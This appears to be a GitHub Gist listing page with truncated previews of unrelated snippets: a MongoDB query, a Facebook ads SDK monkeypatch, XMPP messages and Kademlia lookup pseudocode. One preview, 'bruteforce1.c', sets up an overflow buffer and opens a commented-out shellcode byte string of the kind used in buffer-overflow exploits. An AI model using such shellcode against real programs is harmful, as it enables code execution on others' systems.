Skip to content

Instantly share code, notes, and snippets.

db.sjse_match_share.find({
page_id:180463558653282,
$or: [
{gooddata_exportable:true},
{gooddata_exportable: {$exists: 0}}
], {
share_wording:1,
uid:1,
post_tentative_at:1
}).map(function(b){
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@alexstrat
alexstrat / async_report_patch.py
Created June 22, 2015 20:07
Monkey pathc FB ads SDK to allow async_report
# Monkeypatch AdAccount to have async report support
import facebookads
import time
class ReportStatsAsyncJob(facebookads.objects.AbstractCrudObject):
class Field(object):
id = "id"
async_status = "async_status"
async_percent_completion = "async_percent_completion"
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
<message from='juliet@example.com'
to='romeo@example.net'
xml:lang='en'>
<body>Art thou not Romeo, and a Montague?</body>
</message>
@alexstrat
alexstrat / IterativeFindV2
Created January 4, 2012 20:11
Iterative find process for Kademlia (v2)
# in this algorithm, all notions of *sorting*, *close* or *distance*
# are relative to the XOR distance with the target ID
# as defined in the Kademlia spec
- iterative find (target ID) ->
# initializations
HeardOf <- XOR Sorted Array of peers
initialized with the 50 (or less) closest peers we know from the our routing table
Reached <- XOR Sorted Array of peers
Queried <- Array of peers
/* gcc -o bruteforce1 bruteforce1.c */
#include <stdlib.h>
#define BUFFER_LEN 301
#define OVERFLOW 8
int main()
{
/*
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"
<body xmlns="http://jabber.org/protocol/httpbind">
<iq from="bot8@kadoh.fr.nf/9107" id="gV" to="alexstrat@jabber.org/kadoh" type="result" xmlns="jabber:client">
<query xmlns="jabber:iq:rpc">
<methodResponse>
<params>
<param>
<value>
<struct>
<member>
<name>nodes</name>